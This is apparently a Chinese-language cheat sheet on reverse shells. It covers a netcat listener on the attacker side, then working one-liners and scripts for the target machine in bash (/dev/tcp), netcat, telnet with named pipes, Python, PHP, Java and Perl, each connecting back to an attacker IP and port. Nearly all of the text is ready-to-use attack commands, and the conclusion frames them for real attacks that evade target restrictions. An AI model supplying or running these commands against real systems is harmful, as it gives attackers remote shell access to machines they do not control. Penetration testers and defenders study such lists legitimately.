反弹shell常用命令

1 attacker端的监听——netcat

(1) windows环境下下载netcat

下载地址

将如图的nc.exe所在文件夹添加到环境变量

(2) linux环境下下载netcat

yum install netcat

(3) 安装结束

使用如下命令判断是否安装成功

nc -h

使用如下命令开始监听

nc -lvvp port

2 靶机命令

(1) bash

bash一句话为：

bash -i >& /dev/tcp/ip/port 0>&1

其中ip与port改为attacker端的ip与开启监听的端口。

(2) netcat

使用如下命令即可反弹shell

nc -e ip port /bin/bash

但出于安全性考虑，很多nc没有进行’-e’的编译，执行后会出现下面的结果：

可以使用启用两个端口进行监听，一个输入，另一个监听结果，即：

nc ip port1 | /bin/sh | nc ip port2

这条命令在网上我见到有人运行成功了，但我没有。

那么再换一种方法，在靶机上执行如下命令：

mknod /tmp/backpipe p
/bin/sh 0< /tmp/backpipe | nc ip port 1> /tmp/backpipe

也是可以监听到的。

(3) telnet

首先建立管道：

mkfifo /tmp/b

这句话等同于上述提到的

mknod /tmp/b p

都是给予文件“p”属性，即创建管道文件

之后执行telnet语句完成反弹shell：

telnet ip port 0</tmp/b | /bin/sh 1>/tmp/b

(4) 各类语言的脚本

使用此类反弹shell时需要注意靶机上需要有目标语言的环境才能进行反弹。
首先是python:

import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('ip', port))

os.dup2(s.fileno(), 0)

os.dup2(s.fileno(), 1)

os.dup2(s.fileno(), 2)

p = subprocess.call(['/bin/sh', '-i'])

或者在命令行直接执行：

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但可能因为我的靶机的host配置问题无法成功。

其次是php：

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

靶机上没有java环境，没有进行测试：

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

同时我也没有perl环境，也不作尝试了:

use Socket;
$i = "ip";
$p = port;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");
	exec("/bin/sh -i");}
;

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3 总结

实际攻击时，目标往往会对反弹shell的命令做一定的限制，在这种情况下，找到合适的，可用的方法才是攻击成功的关键。